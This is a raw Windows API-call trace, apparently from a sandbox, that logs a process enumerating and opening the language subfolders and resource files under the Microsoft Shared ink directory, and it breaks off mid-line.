[0047.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.954] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.954] GetLastError () returned 0x12 [0047.954] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\de-DE\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0047.954] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.954] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.954] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.954] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe728fcf7, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe74cb16a, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe74cb16a, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.954] GetLastError () returned 0x12 [0047.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.954] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0047.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0047.954] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.954] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0047.954] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.954] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.955] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\el-gr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x188 [0047.955] SetFileTime (hFile=0x188, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf90958 [0047.955] DeviceIoControl (in: hDevice=0x188, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf90958, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf90958, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0047.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf90958) returned 1 [0047.955] NtClose (Handle=0x188) returned 0x0 [0047.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.955] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d1a0 [0047.955] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.955] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0047.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e588 [0047.955] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f0a8 [0047.955] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dbf0) returned 1 [0047.955] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.955] GetLastError () returned 0x12 [0047.955] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\el-GR\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0047.956] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0047.956] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.956] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0047.956] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe31667d9, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe337baef, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe337baef, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0047.956] GetLastError () returned 0x12 [0047.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.956] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0047.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf8ea78) returned 1 [0047.956] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.956] FindNextFileW (in: hFindFile=0x60d1e0, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0047.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.956] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0047.956] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x184 [0047.956] SetFileTime (hFile=0x184, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0047.956] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xf90958 [0047.957] DeviceIoControl (in: hDevice=0x184, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xf90958, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xf90958, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0047.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf90958) returned 1 [0047.957] NtClose (Handle=0x184) returned 0x0 [0047.957] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9ca68) returned 1 [0047.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9ca68 [0047.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9db68 [0047.957] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dbf0 [0047.957] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d160 [0047.975] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.975] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8ea78 [0047.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9db68) returned 1 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e5a8 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f1b0 [0047.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.975] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e5c8 [0047.975] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f2b8 [0047.975] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.975] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e5e8 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f3c0 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e608 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f4c8 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e628 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f5d0 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e648 [0047.976] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f6d8 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf8e668 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f7e0 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xf9dc78 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xf90970 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xf8f8e8 [0047.977] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xf9dc78) returned 1 [0047.977] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0047.977] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 